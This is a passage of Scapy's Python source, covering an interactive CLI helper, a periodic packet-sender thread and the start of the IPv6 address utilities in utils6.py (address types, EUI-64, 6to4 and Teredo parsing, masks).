type: ignore cmd._globsupport = globsupport # type: ignore cls._inspectkwargs(cmd) if cmd._globsupport and not cmd._mono: # type: ignore raise ValueError("Cannot use globsupport without mono.") return cmd return func @classmethod def addoutput(cls, cmd: DecoratorCallable) -> Callable[[DecoratorCallable], DecoratorCallable]: # noqa: E501 """ Decorator to register a command output processor """ def func(processor: DecoratorCallable) -> DecoratorCallable: processor.cliutil_type = _CLIUtilMetaclass.TYPE.OUTPUT # type: ignore processor.cliutil_ref = cmd # type: ignore cls._inspectkwargs(processor) return processor return func @classmethod def addcomplete( cls, cmd: DecoratorCallable, ) -> Callable[[DecoratorCallable], DecoratorCallable]: """ Decorator to register a command completor """ def func(processor: DecoratorCallable) -> DecoratorCallable: processor.cliutil_type = _CLIUtilMetaclass.TYPE.COMPLETE # type: ignore processor.cliutil_ref = cmd # type: ignore processor._mono = cmd._mono # type: ignore return processor return func def ps1(self) -> str: """ Return the PS1 of the shell """ return "> " def close(self) -> None: """ Function called on exiting """ print("Exited") def help(self, cmd: Optional[str] = None) -> None: """ Return the help related to this CLI util """ def _args(func: Any) -> str: flags = func._flags.copy() if func.__name__ in self.commands_output: flags += self.commands_output[func.__name__]._flags # type: ignore return " %s%s" % ( ( "%s " % " ".join("[%s]" % x for x in flags) if flags else "" ), " ".join( "<%s%s>" % ( x.name, "?" if (x.default is None or x.default != inspect.Parameter.empty) else "" ) for x in list(inspect.signature(func).parameters.values())[1:] if x.name not in func._flagnames and x.name[0] != "_" ) ) if cmd: if cmd not in self.commands: print("Unknown command '%s'" % cmd) return # help for one command func = self.commands[cmd] print("%s%s: %s" % ( cmd, _args(func), func.__doc__ and func.__doc__.strip() )) else: header = "│ %s - Help │" % self.__class__.__name__ print("┌" + "─" * (len(header) - 2) + "┐") print(header) print("└" + "─" * (len(header) - 2) + "┘") print( pretty_list( [ ( cmd, _args(func), func.__doc__ and func.__doc__.strip().split("\n")[0] or "" ) for cmd, func in self.commands.items() ], [("Command", "Arguments", "Description")] ) ) def _split_cmd(self, cmd: str) -> Tuple[List[str], List[int]]: """ Split the command in multiple arguments """ quoted = None queue = [""] offsets = [0] for i, c in enumerate(cmd): if c == "'" or c == '"': # This is a quote. if quoted is not None and quoted == c: # We are closing the last quote quoted = None elif quoted: queue[-1] += c else: quoted = c elif c == " ": # This is a space. if quoted is not None: # We're in a quote, append it queue[-1] += c elif queue[-1]: # Not in a quote, this splits the argument. queue += [""] offsets.append(i) else: # Padding space, advance offset offsets[-1] += 1 else: # This is a char queue[-1] += c return queue, offsets def _completer(self) -> 'prompt_toolkit.completion.Completer': """ Returns a prompt_toolkit custom completer """ from prompt_toolkit.completion import Completer, Completion class CLICompleter(Completer): def get_completions(cmpl, document, complete_event): # type: ignore if not complete_event.completion_requested: # Only activate when the user does return parts, offsets = self._split_cmd(document.text) cmd = parts[0].lower() if cmd not in self.commands: # We are trying to complete the command for possible_cmd in (x for x in self.commands if x.startswith(cmd)): yield Completion(possible_cmd, start_position=-len(cmd)) else: # We are trying to complete the command content if len(parts) == 1: return args, _, _ = self._parseallargs(self.commands[cmd], cmd, parts[1:]) if cmd in self.commands_complete: completer = self.commands_complete[cmd] # If the completion is 'mono', it's a single argument with # spaces. Else we pass the list of arguments to complete, # and we only complete the last argument. if completer._mono: # type: ignore arg = " ".join(args) completions = completer(self, arg) startpos = offsets[1] else: completions = completer(self, args) startpos = offsets[-1] # For each possible completion for possible_arg in completions: # If there's a space in the completion, and we're # not in mono mode, add quotes. if " " in possible_arg and not completer._mono: # type: ignore # noqa: E501 possible_arg = '"%s"' % possible_arg yield Completion( possible_arg, start_position=startpos - len(document.text) + 1 ) return return CLICompleter() def loop(self, debug: int = 0) -> None: """ Main command handling loop """ from prompt_toolkit import PromptSession session = PromptSession(completer=self._completer()) while True: try: cmd = session.prompt(self.ps1()).strip() except KeyboardInterrupt: continue except EOFError: self.close() break parts, _ = self._split_cmd(cmd) args = parts[1:] cmd = parts[0].strip().lower() if not cmd: continue if cmd in ["help", "h", "?"]: self.help(" ".join(args)) continue if cmd in "exit": break if cmd not in self.commands: print("Unknown command. Type help or ?") else: # check the number of arguments func = self.commands[cmd] args, kwargs, outkwargs = self._parseallargs(func, cmd, args) if func._mono: # type: ignore args = [" ".join(args)] # if globsupport is set, we might need to do several calls if func._globsupport and "*" in args[0]: # type: ignore if args[0].count("*") > 1: print("More than 1 glob star (*) is currently unsupported.") continue before, after = args[0].split("*", 1) reg = re.compile(re.escape(before) + r".*" + after) calls = [ [x] for x in self.commands_complete[cmd](self, before) if reg.match(x) ] else: calls = [args] else: calls = [args] # now iterate if required, call the function and print its output res = None for args in calls: try: res = func(self, *args, **kwargs) except TypeError: print("Bad number of arguments !") self.help(cmd=cmd) continue except Exception as ex: print("Command failed with error: %s" % ex) if debug: traceback.print_exception(ex) try: if res and cmd in self.commands_output: self.commands_output[cmd](self, res, **outkwargs) except Exception as ex: print("Output processor failed with error: %s" % ex) def AutoArgparse( func: DecoratorCallable, _parseonly: bool = False, ) -> Optional[Tuple[List[str], List[str]]]: """ Generate an Argparse call from a function, then call this function. Notes: - for the arguments to have a description, the sphinx docstring format must be used. See https://sphinx-rtd-tutorial.readthedocs.io/en/latest/docstrings.html - the arguments must be typed in Python (we ignore Sphinx-specific types) untyped arguments are ignored. - only types that would be supported by argparse are supported. The others are omitted. """ argsdoc = {} if func.__doc__: # Sphinx doc format parser m = re.match( r"((?:.|\n)*?)(\n\s*:(?:param|type|raises|return|rtype)(?:.|\n)*)", func.__doc__.strip(), ) if not m: desc = func.__doc__.strip() else: desc = m.group(1) sphinxargs = re.findall( r"\s*:(param|type|raises|return|rtype)\s*([^:]*):(.*)", m.group(2), ) for argtype, argparam, argdesc in sphinxargs: argparam = argparam.strip() argdesc = argdesc.strip() if argtype == "param": if not argparam: raise ValueError(":param: without a name !") argsdoc[argparam] = argdesc else: desc = "" # Process the parameters positional = [] noargument = [] hexarguments = [] parameters = {} for param in inspect.signature(func).parameters.values(): if not param.annotation: continue noarg = False parname = param.name.replace("_", "-") paramkwargs: Dict[str, Any] = {} if param.annotation is bool: if param.default is True: parname = "no-" + parname paramkwargs["action"] = "store_false" else: paramkwargs["action"] = "store_true" noarg = True elif param.annotation is bytes: paramkwargs["type"] = str hexarguments.append(parname) elif param.annotation in [str, int, float]: paramkwargs["type"] = param.annotation elif ( isinstance(param.annotation, type) and issubclass(param.annotation, enum.Enum) ): paramkwargs["type"] = param.annotation paramkwargs["choices"] = list(param.annotation) else: continue if param.default != inspect.Parameter.empty: if param.kind == inspect.Parameter.POSITIONAL_ONLY: positional.append(param.name) paramkwargs["nargs"] = '?' else: parname = "--" + parname paramkwargs["default"] = param.default else: positional.append(param.name) if param.kind == inspect.Parameter.VAR_POSITIONAL: paramkwargs["action"] = "append" if param.name in argsdoc: paramkwargs["help"] = argsdoc[param.name] if param.annotation is bytes: paramkwargs["help"] = "(hex) " + paramkwargs["help"] elif param.annotation is bool: paramkwargs["help"] = "(flag) " + paramkwargs["help"] else: paramkwargs["help"] = ( "(%s) " % param.annotation.__name__ + paramkwargs["help"] ) # Add to the parameter list parameters[parname] = paramkwargs if noarg: noargument.append(parname) if _parseonly: # An internal mode used to generate bash autocompletion, do it then exit. return ( [x for x in parameters if x not in positional] + ["--help"], [x for x in noargument if x not in positional] + ["--help"], ) # Now build the argparse.ArgumentParser parser = argparse.ArgumentParser( prog=func.__name__, description=desc, formatter_class=argparse.ArgumentDefaultsHelpFormatter, ) # Add parameters to parser for parname, paramkwargs in parameters.items(): parser.add_argument(parname, **paramkwargs) # Now parse the sys.argv parameters params = vars(parser.parse_args()) # Convert hex parameters if provided for p in hexarguments: if params[p] is not None: try: params[p] = bytes.fromhex(params[p]) except ValueError: print( conf.color_theme.fail( "ERROR: the value of parameter %s " "'%s' is not valid hexadecimal !" % (p, params[p]) ) ) return None # Act as in interactive mode conf.logLevel = 20 from scapy.themes import DefaultTheme conf.color_theme = DefaultTheme() # And call the function try: func( *[params.pop(x) for x in positional], **{ (k[3:] if k.startswith("no_") else k): v for k, v in params.items() } ) except AssertionError as ex: print(conf.color_theme.fail("ERROR: " + str(ex))) parser.print_help() return None ####################### # PERIODIC SENDER # ####################### class PeriodicSenderThread(threading.Thread): def __init__(self, sock, pkt, interval=0.5, ignore_exceptions=True): # type: (Any, _PacketIterable, float, bool) -> None """ Thread to send packets periodically Args: sock: socket where packet is sent periodically pkt: packet or list of packets to send interval: interval between two packets """ if not isinstance(pkt, list): self._pkts = [cast("Packet", pkt)] # type: _PacketIterable else: self._pkts = pkt self._socket = sock self._stopped = threading.Event() self._enabled = threading.Event() self._enabled.set() self._interval = interval self._ignore_exceptions = ignore_exceptions threading.Thread.__init__(self) def enable(self): # type: () -> None self._enabled.set() def disable(self): # type: () -> None self._enabled.clear() def run(self): # type: () -> None while not self._stopped.is_set() and not self._socket.closed: for p in self._pkts: try: if self._enabled.is_set(): self._socket.send(p) except (OSError, TimeoutError) as e: if self._ignore_exceptions: return else: raise e self._stopped.wait(timeout=self._interval) if self._stopped.is_set() or self._socket.closed: break def stop(self): # type: () -> None self._stopped.set() self.join(self._interval * 2) class SingleConversationSocket(object): def __init__(self, o): # type: (Any) -> None self._inner = o self._tx_mutex = threading.RLock() @property def __dict__(self): # type: ignore return self._inner.__dict__ def __getattr__(self, name): # type: (str) -> Any return getattr(self._inner, name) def sr1(self, *args, **kargs): # type: (*Any, **Any) -> Any with self._tx_mutex: return self._inner.sr1(*args, **kargs) def sr(self, *args, **kargs): # type: (*Any, **Any) -> Any with self._tx_mutex: return self._inner.sr(*args, **kargs) def send(self, x): # type: (Packet) -> Any with self._tx_mutex: try: return self._inner.send(x) except (ConnectionError, OSError) as e: self._inner.close() raise e ================================================ FILE: scapy/utils6.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi # Copyright (C) 2005 Guillaume Valadon # Arnaud Ebalard """ Utility functions for IPv6. """ import socket import struct import time from scapy.config import conf from scapy.base_classes import Net from scapy.data import IPV6_ADDR_GLOBAL, IPV6_ADDR_LINKLOCAL, \ IPV6_ADDR_SITELOCAL, IPV6_ADDR_LOOPBACK, IPV6_ADDR_UNICAST,\ IPV6_ADDR_MULTICAST, IPV6_ADDR_6TO4, IPV6_ADDR_UNSPECIFIED from scapy.utils import ( strxor, stror, strand, ) from scapy.compat import orb, chb from scapy.pton_ntop import inet_pton, inet_ntop from scapy.volatile import RandMAC, RandBin from scapy.error import warning, Scapy_Exception from functools import reduce, cmp_to_key from typing import ( Iterator, List, Optional, Tuple, Union, cast, ) def construct_source_candidate_set( addr, # type: str plen, # type: int laddr # type: Iterator[Tuple[str, int, str]] ): # type: (...) -> List[str] """ Given all addresses assigned to a specific interface ('laddr' parameter), this function returns the "candidate set" associated with 'addr/plen'. Basically, the function filters all interface addresses to keep only those that have the same scope as provided prefix. This is on this list of addresses that the source selection mechanism will then be performed to select the best source address associated with some specific destination that uses this prefix. """ def cset_sort(x, y): # type: (str, str) -> int x_global = 0 if in6_isgladdr(x): x_global = 1 y_global = 0 if in6_isgladdr(y): y_global = 1 res = y_global - x_global if res != 0 or y_global != 1: return res # two global addresses: if one is native, it wins. if not in6_isaddr6to4(x): return -1 return -res cset = iter([]) # type: Iterator[Tuple[str, int, str]] if in6_isgladdr(addr) or in6_isuladdr(addr): cset = (x for x in laddr if x[1] == IPV6_ADDR_GLOBAL) elif in6_islladdr(addr): cset = (x for x in laddr if x[1] == IPV6_ADDR_LINKLOCAL) elif in6_issladdr(addr): cset = (x for x in laddr if x[1] == IPV6_ADDR_SITELOCAL) elif in6_ismaddr(addr): if in6_ismnladdr(addr): cset = (x for x in [('::1', 16, conf.loopback_name)]) elif in6_ismgladdr(addr): cset = (x for x in laddr if x[1] == IPV6_ADDR_GLOBAL) elif in6_ismlladdr(addr): cset = (x for x in laddr if x[1] == IPV6_ADDR_LINKLOCAL) elif in6_ismsladdr(addr): cset = (x for x in laddr if x[1] == IPV6_ADDR_SITELOCAL) elif addr == '::' and plen == 0: cset = (x for x in laddr if x[1] == IPV6_ADDR_GLOBAL) elif addr == '::1': cset = (x for x in laddr if x[1] == IPV6_ADDR_LOOPBACK) addrs = [x[0] for x in cset] # TODO convert the cmd use into a key addrs.sort(key=cmp_to_key(cset_sort)) # Sort with global addresses first return addrs def get_source_addr_from_candidate_set(dst, candidate_set): # type: (str, List[str]) -> str """ This function implement a limited version of source address selection algorithm defined in section 5 of RFC 3484. The format is very different from that described in the document because it operates on a set of candidate source address for some specific route. """ def scope_cmp(a, b): # type: (str, str) -> int """ Given two addresses, returns -1, 0 or 1 based on comparison of their scope """ scope_mapper = {IPV6_ADDR_GLOBAL: 4, IPV6_ADDR_SITELOCAL: 3, IPV6_ADDR_LINKLOCAL: 2, IPV6_ADDR_LOOPBACK: 1} sa = in6_getscope(a) if sa == -1: sa = IPV6_ADDR_LOOPBACK sb = in6_getscope(b) if sb == -1: sb = IPV6_ADDR_LOOPBACK sa = scope_mapper[sa] sb = scope_mapper[sb] if sa == sb: return 0 if sa > sb: return 1 return -1 def rfc3484_cmp(source_a, source_b): # type: (str, str) -> int """ The function implements a limited version of the rules from Source Address selection algorithm defined section of RFC 3484. """ # Rule 1: Prefer same address if source_a == dst: return 1 if source_b == dst: return 1 # Rule 2: Prefer appropriate scope tmp = scope_cmp(source_a, source_b) if tmp == -1: if scope_cmp(source_a, dst) == -1: return 1 else: return -1 elif tmp == 1: if scope_cmp(source_b, dst) == -1: return 1 else: return -1 # Rule 3: cannot be easily implemented # Rule 4: cannot be easily implemented # Rule 5: does not make sense here # Rule 6: cannot be implemented # Rule 7: cannot be implemented # Rule 8: Longest prefix match tmp1 = in6_get_common_plen(source_a, dst) tmp2 = in6_get_common_plen(source_b, dst) if tmp1 > tmp2: return 1 elif tmp2 > tmp1: return -1 return 0 if not candidate_set: # Should not happen return "" candidate_set.sort(key=cmp_to_key(rfc3484_cmp), reverse=True) return candidate_set[0] # Think before modify it : for instance, FE::1 does exist and is unicast # there are many others like that. # TODO : integrate Unique Local Addresses def in6_getAddrType(addr): # type: (str) -> int naddr = inet_pton(socket.AF_INET6, addr) paddr = inet_ntop(socket.AF_INET6, naddr) # normalize addrType = 0 # _Assignable_ Global Unicast Address space # is defined in RFC 3513 as those in 2000::/3 if ((orb(naddr[0]) & 0xE0) == 0x20): addrType = (IPV6_ADDR_UNICAST | IPV6_ADDR_GLOBAL) if naddr[:2] == b' \x02': # Mark 6to4 @ addrType |= IPV6_ADDR_6TO4 elif orb(naddr[0]) == 0xff: # multicast addrScope = paddr[3] if addrScope == '2': addrType = (IPV6_ADDR_LINKLOCAL | IPV6_ADDR_MULTICAST) elif addrScope == 'e': addrType = (IPV6_ADDR_GLOBAL | IPV6_ADDR_MULTICAST) else: addrType = (IPV6_ADDR_GLOBAL | IPV6_ADDR_MULTICAST) elif ((orb(naddr[0]) == 0xfe) and ((int(paddr[2], 16) & 0xC) == 0x8)): addrType = (IPV6_ADDR_UNICAST | IPV6_ADDR_LINKLOCAL) elif paddr == "::1": addrType = IPV6_ADDR_LOOPBACK elif paddr == "::": addrType = IPV6_ADDR_UNSPECIFIED else: # Everything else is global unicast (RFC 3513) # Even old deprecated (RFC3879) Site-Local addresses addrType = (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) return addrType def in6_mactoifaceid(mac, ulbit=None): # type: (str, Optional[int]) -> str """ Compute the interface ID in modified EUI-64 format associated to the Ethernet address provided as input. value taken by U/L bit in the interface identifier is basically the reversed value of that in given MAC address it can be forced to a specific value by using optional 'ulbit' parameter. """ if len(mac) != 17: raise ValueError("Invalid MAC") m = "".join(mac.split(':')) if len(m) != 12: raise ValueError("Invalid MAC") first = int(m[0:2], 16) if ulbit is None or not (ulbit == 0 or ulbit == 1): ulbit = [1, 0, 0][first & 0x02] ulbit *= 2 first_b = "%.02x" % ((first & 0xFD) | ulbit) eui64 = first_b + m[2:4] + ":" + m[4:6] + "FF:FE" + m[6:8] + ":" + m[8:12] return eui64.upper() def in6_ifaceidtomac(ifaceid_s): # type: (str) -> Optional[str] """ Extract the mac address from provided iface ID. Iface ID is provided in printable format ("XXXX:XXFF:FEXX:XXXX", eventually compressed). None is returned on error. """ try: # Set ifaceid to a binary form ifaceid = inet_pton(socket.AF_INET6, "::" + ifaceid_s)[8:16] except Exception: return None if ifaceid[3:5] != b'\xff\xfe': # Check for burned-in MAC address return None # Unpacking and converting first byte of faceid to MAC address equivalent first = struct.unpack("B", ifaceid[:1])[0] ulbit = 2 * [1, '-', 0][first & 0x02] first = struct.pack("B", ((first & 0xFD) | ulbit)) # Split into two vars to remove the \xff\xfe bytes oui = first + ifaceid[1:3] end = ifaceid[5:] # Convert and reconstruct into a MAC Address mac_bytes = ["%.02x" % orb(x) for x in list(oui + end)] return ":".join(mac_bytes) def in6_addrtomac(addr): # type: (str) -> Optional[str] """ Extract the mac address from provided address. None is returned on error. """ mask = inet_pton(socket.AF_INET6, "::ffff:ffff:ffff:ffff") x = in6_and(mask, inet_pton(socket.AF_INET6, addr)) ifaceid = inet_ntop(socket.AF_INET6, x)[2:] return in6_ifaceidtomac(ifaceid) def in6_addrtovendor(addr): # type: (str) -> Optional[str] """ Extract the MAC address from a modified EUI-64 constructed IPv6 address provided and use the IANA oui.txt file to get the vendor. The database used for the conversion is the one loaded by Scapy from a Wireshark installation if discovered in a well-known location. None is returned on error, "UNKNOWN" if the vendor is unknown. """ mac = in6_addrtomac(addr) if mac is None or not conf.manufdb: return None res = conf.manufdb._get_manuf(mac) if len(res) == 17 and res.count(':') != 5: # Mac address, i.e. unknown res = "UNKNOWN" return res def in6_getLinkScopedMcastAddr(addr, grpid=None, scope=2): # type: (str, Optional[Union[bytes, str, int]], int) -> Optional[str] """ Generate a Link-Scoped Multicast Address as described in RFC 4489. Returned value is in printable notation. 'addr' parameter specifies the link-local address to use for generating Link-scoped multicast address IID. By default, the function returns a ::/96 prefix (aka last 32 bits of returned address are null). If a group id is provided through 'grpid' parameter, last 32 bits of the address are set to that value (accepted formats : b'\x12\x34\x56\x78' or '12345678' or 0x12345678 or 305419896). By default, generated address scope is Link-Local (2). That value can be modified by passing a specific 'scope' value as an argument of the function. RFC 4489 only authorizes scope values <= 2. Enforcement is performed by the function (None will be returned). If no link-local address can be used to generate the Link-Scoped IPv6 Multicast address, or if another error occurs, None is returned. """ if scope not in [0, 1, 2]: return None try: if not in6_islladdr(addr): return None baddr = inet_pton(socket.AF_INET6, addr) except Exception: warning("in6_getLinkScopedMcastPrefix(): Invalid address provided") return None iid = baddr[8:] if grpid is None: b_grpid = b'\x00\x00\x00\x00' else: b_grpid = b'' # Is either bytes, str or int if isinstance(grpid, (str, bytes)): try: if isinstance(grpid, str) and len(grpid) == 8: i_grpid = int(grpid, 16) & 0xffffffff elif isinstance(grpid, bytes) and len(grpid) == 4: i_grpid = struct.unpack("!I", grpid)[0] else: raise ValueError except Exception: warning( "in6_getLinkScopedMcastPrefix(): Invalid group id " "provided" ) return None elif isinstance(grpid, int): i_grpid = grpid else: warning( "in6_getLinkScopedMcastPrefix(): Invalid group id " "provided" ) return None b_grpid = struct.pack("!I", i_grpid) flgscope = struct.pack("B", 0xff & ((0x3 << 4) | scope)) plen = b'\xff' res = b'\x00' a = b'\xff' + flgscope + res + plen + iid + b_grpid return inet_ntop(socket.AF_INET6, a) def in6_get6to4Prefix(addr): # type: (str) -> Optional[str] """ Returns the /48 6to4 prefix associated with provided IPv4 address On error, None is returned. No check is performed on public/private status of the address """ try: baddr = inet_pton(socket.AF_INET, addr) return inet_ntop(socket.AF_INET6, b'\x20\x02' + baddr + b'\x00' * 10) except Exception: return None def in6_6to4ExtractAddr(addr): # type: (str) -> Optional[str] """ Extract IPv4 address embedded in 6to4 address. Passed address must be a 6to4 address. None is returned on error. """ try: baddr = inet_pton(socket.AF_INET6, addr) except Exception: return None if baddr[:2] != b" \x02": return None return inet_ntop(socket.AF_INET, baddr[2:6]) def in6_getLocalUniquePrefix(): # type: () -> str """ Returns a pseudo-randomly generated Local Unique prefix. Function follows recommendation of Section 3.2.2 of RFC 4193 for prefix generation. """ # Extracted from RFC 1305 (NTP) : # NTP timestamps are represented as a 64-bit unsigned fixed-point number, # in seconds relative to 0h on 1 January 1900. The integer part is in the # first 32 bits and the fraction part in the last 32 bits. # epoch = (1900, 1, 1, 0, 0, 0, 5, 1, 0) # x = time.time() # from time import gmtime, strftime, gmtime, mktime # delta = mktime(gmtime(0)) - mktime(self.epoch) # x = x-delta tod = time.time() # time of day. Will bother with epoch later i = int(tod) j = int((tod - i) * (2**32)) btod = struct.pack("!II", i, j) mac = RandMAC() # construct modified EUI-64 ID eui64 = inet_pton(socket.AF_INET6, '::' + in6_mactoifaceid(str(mac)))[8:] import hashlib globalid = hashlib.sha1(btod + eui64).digest()[:5] return inet_ntop(socket.AF_INET6, b'\xfd' + globalid + b'\x00' * 10) def in6_getRandomizedIfaceId(ifaceid, previous=None): # type: (str, Optional[str]) -> Tuple[str, str] """ Implements the interface ID generation algorithm described in RFC 3041. The function takes the Modified EUI-64 interface identifier generated as described in RFC 4291 and an optional previous history value (the first element of the output of this function). If no previous interface identifier is provided, a random one is generated. The function returns a tuple containing the randomized interface identifier and the history value (for possible future use). Input and output values are provided in a "printable" format as depicted below. ex:: >>> in6_getRandomizedIfaceId('20b:93ff:feeb:2d3') ('4c61:76ff:f46a:a5f3', 'd006:d540:db11:b092') >>> in6_getRandomizedIfaceId('20b:93ff:feeb:2d3', previous='d006:d540:db11:b092') ('fe97:46fe:9871:bd38', 'eeed:d79c:2e3f:62e') """ s = b"" if previous is None: b_previous = bytes(RandBin(8)) else: b_previous = inet_pton(socket.AF_INET6, "::" + previous)[8:] s = inet_pton(socket.AF_INET6, "::" + ifaceid)[8:] + b_previous import hashlib s = hashlib.md5(s).digest() s1, s2 = s[:8], s[8:] s1 = chb(orb(s1[0]) & (~0x04)) + s1[1:] # set bit 6 to 0 bs1 = inet_ntop(socket.AF_INET6, b"\xff" * 8 + s1)[20:] bs2 = inet_ntop(socket.AF_INET6, b"\xff" * 8 + s2)[20:] return (bs1, bs2) _rfc1924map = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', # noqa: E501 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', # noqa: E501 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', # noqa: E501 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', # noqa: E501 'y', 'z', '!', '#', '$', '%', '&', '(', ')', '*', '+', '-', ';', '<', '=', # noqa: E501 '>', '?', '@', '^', '_', '`', '{', '|', '}', '~'] def in6_ctop(addr): # type: (str) -> Optional[str] """ Convert an IPv6 address in Compact Representation Notation (RFC 1924) to printable representation ;-) Returns None on error. """ if len(addr) != 20 or not reduce(lambda x, y: x and y, [x in _rfc1924map for x in addr]): return None i = 0 for c in addr: j = _rfc1924map.index(c) i = 85 * i + j res = [] for j in range(4): res.append(struct.pack("!I", i % 2**32)) i = i // (2**32) res.reverse() return inet_ntop(socket.AF_INET6, b"".join(res)) def in6_ptoc(addr): # type: (str) -> Optional[str] """ Converts an IPv6 address in printable representation to RFC 1924 Compact Representation ;-) Returns None on error. """ try: d = struct.unpack("!IIII", inet_pton(socket.AF_INET6, addr)) except Exception: return None rem = 0 m = [2**96, 2**64, 2**32, 1] for i in range(4): rem += d[i] * m[i] res = [] # type: List[str] while rem: res.append(_rfc1924map[rem % 85]) rem = rem // 85 res.reverse() return "".join(res) def in6_isaddr6to4(x): # type: (str) -> bool """ Return True if provided address (in printable format) is a 6to4 address (being in 2002::/16). """ bx = inet_pton(socket.AF_INET6, x) return bx[:2] == b' \x02' conf.teredoPrefix = "2001::" # old one was 3ffe:831f (it is a /32) conf.teredoServerPort = 3544 def in6_isaddrTeredo(x): # type: (str) -> bool """ Return True if provided address is a Teredo, meaning it is under the /32 conf.teredoPrefix prefix value (by default, 2001::). Otherwise, False is returned. Address must be passed in printable format. """ our = inet_pton(socket.AF_INET6, x)[0:4] teredoPrefix = inet_pton(socket.AF_INET6, conf.teredoPrefix)[0:4] return teredoPrefix == our def teredoAddrExtractInfo(x): # type: (str) -> Tuple[str, int, str, int] """ Extract information from a Teredo address. Return value is a 4-tuple made of IPv4 address of Teredo server, flag value (int), mapped address (non obfuscated) and mapped port (non obfuscated). No specific checks are performed on passed address. """ addr = inet_pton(socket.AF_INET6, x) server = inet_ntop(socket.AF_INET, addr[4:8]) flag = struct.unpack("!H", addr[8:10])[0] # type: int mappedport = struct.unpack("!H", strxor(addr[10:12], b'\xff' * 2))[0] mappedaddr = inet_ntop(socket.AF_INET, strxor(addr[12:16], b'\xff' * 4)) return server, flag, mappedaddr, mappedport def in6_iseui64(x): # type: (str) -> bool """ Return True if provided address has an interface identifier part created in modified EUI-64 format (meaning it matches ``*::*:*ff:fe*:*``). Otherwise, False is returned. Address must be passed in printable format. """ eui64 = inet_pton(socket.AF_INET6, '::ff:fe00:0') bx = in6_and(inet_pton(socket.AF_INET6, x), eui64) return bx == eui64 def in6_isanycast(x): # RFC 2526 # type: (str) -> bool if in6_iseui64(x): s = '::fdff:ffff:ffff:ff80' packed_x = inet_pton(socket.AF_INET6, x) packed_s = inet_pton(socket.AF_INET6, s) x_and_s = in6_and(packed_x, packed_s) return x_and_s == packed_s else: # not EUI-64 # | n bits | 121-n bits | 7 bits | # +---------------------------------+------------------+------------+ # | subnet prefix | 1111111...111111 | anycast ID | # +---------------------------------+------------------+------------+ # | interface identifier field | warning('in6_isanycast(): TODO not EUI-64') return False def in6_or(a1, a2): # type: (bytes, bytes) -> bytes """ Provides a bit to bit OR of provided addresses. They must be passed in network format. Return value is also an IPv6 address in network format. """ return stror(a1, a2) def in6_and(a1, a2): # type: (bytes, bytes) -> bytes """ Provides a bit to bit AND of provided addresses. They must be passed in network format. Return value is also an IPv6 address in network format. """ return strand(a1, a2) def in6_xor(a1, a2): # type: (bytes, bytes) -> bytes """ Provides a bit to bit XOR of provided addresses. They must be passed in network format. Return value is also an IPv6 address in network format. """ return strxor(a1, a2) def in6_cidr2mask(m): # type: (int) -> bytes """ Return the mask (bitstring) associated with provided length value. For instance if function is called on 48, return value is b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'. """ if m > 128 or m < 0: raise Scapy_Exception("value provided to in6_cidr2mask outside [0, 128] domain (%d)" % m) # noqa: E501 t = [] for i in range(0, 4): t.append(max(0, 2**32 - 2**(32 - min(32, m)))) m -= 32 return b"".join(struct.pack('!I', x) for x in t) def in6_mask2cidr(m): # type: (bytes) -> int """ Opposite of in6_cidr2mask """ if len(m) != 16: raise Scapy_Exception("value must be 16 octets long") for i in range(0, 4): s = struct.unpack('!I', m[i * 4:(i + 1) * 4])[0] for j in range(32): if not s & (1 << (31 - j)): return i * 32 + j return 128 def in6_getnsma(a): # type: (bytes) -> bytes """ Return link-local solicited-node multicast address for given address. Passed address must be provided in network format. Returned value is also in network format. """ r = in6_and(a, inet_pton(socket.AF_INET6, '::ff:ffff')) r = in6_or(inet_pton(socket.AF_INET6, 'ff02::1:ff00:0'), r) return r def in6_getnsmac(a): # type: (bytes) -> str """ Return the multicast mac address associated with provided IPv6 address. Passed address must be in network format. """ ba = struct.unpack('16B', a)[-4:] mac = '33:33:' mac += ':'.join("%.2x" % x for x in ba) return mac def in6_getha(prefix): # type: (str) -> str """ Return the anycast address associated with all home agents on a given subnet. """ r = in6_and(inet_pton(socket.AF_INET6, prefix), in6_cidr2mask(64)) r = in6_or(r, inet_pton(socket.AF_INET6, '::fdff:ffff:ffff:fffe')) return inet_ntop(socket.AF_INET6, r) def in6_ptop(str): # type: (str) -> str """ Normalizes IPv6 addresses provided in printable format, returning the same address in printable format. (2001:0db8:0:0::1 -> 2001:db8::1) """ return inet_ntop(socket.AF_INET6, inet_pton(socket.AF_INET6, str)) def in6_isincluded(addr, prefix, plen): # type: (str, str, int) -> bool """ Returns True when 'addr' belongs to prefix/plen. False otherwise. """ temp = inet_pton(socket.AF_INET6, addr) pref = in6_cidr2mask(plen) zero = inet_pton(socket.AF_INET6, prefix) return zero == in6_and(temp, pref) def in6_isllsnmaddr(str): # type: (str) -> bool """ Return True if provided address is a link-local solicited node multicast address, i.e. belongs to ff02::1:ff00:0/104. False is returned otherwise. """ temp = in6_and(b"\xff" * 13 + b"\x00" * 3, inet_pton(socket.AF_INET6, str)) temp2 = b'\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x00\x00\x00' return temp == temp2 def in6_isdocaddr(str): # type: (str) -> bool """ Returns True if provided address in printable format belongs to 2001:db8::/32 address space reserved for documentation (as defined in RFC 3849). """ return in6_isincluded(str, '2001:db8::', 32) def in6_islladdr(str): # type: (str) -> bool """ Returns True if provided address in printable format belongs to _allocated_ link-local unicast address space (fe80::/10) """ return in6_isincluded(str, 'fe80::', 10) def in6_issladdr(str): # type: (str) -> bool """ Returns True if provided address in printable format belongs to _allocated_ site-local address space (fec0::/10). This prefix has been deprecated, address being now reserved by IANA. Function will remain for historic reasons. """ return in6_isincluded(str, 'fec0::', 10) def in6_isuladdr(str): # type: (str) -> bool """ Returns True if provided address in printable format belongs to Unique local address space (fc00::/7). """ return in6_isincluded(str, 'fc00::', 7) # TODO : we should see the status of Unique Local addresses against # global address space. # Up-to-date information is available through RFC 3587. # We should review function behavior based on its content. def in6_isgladdr(str): # type: (str) -> bool """ Returns True if provided 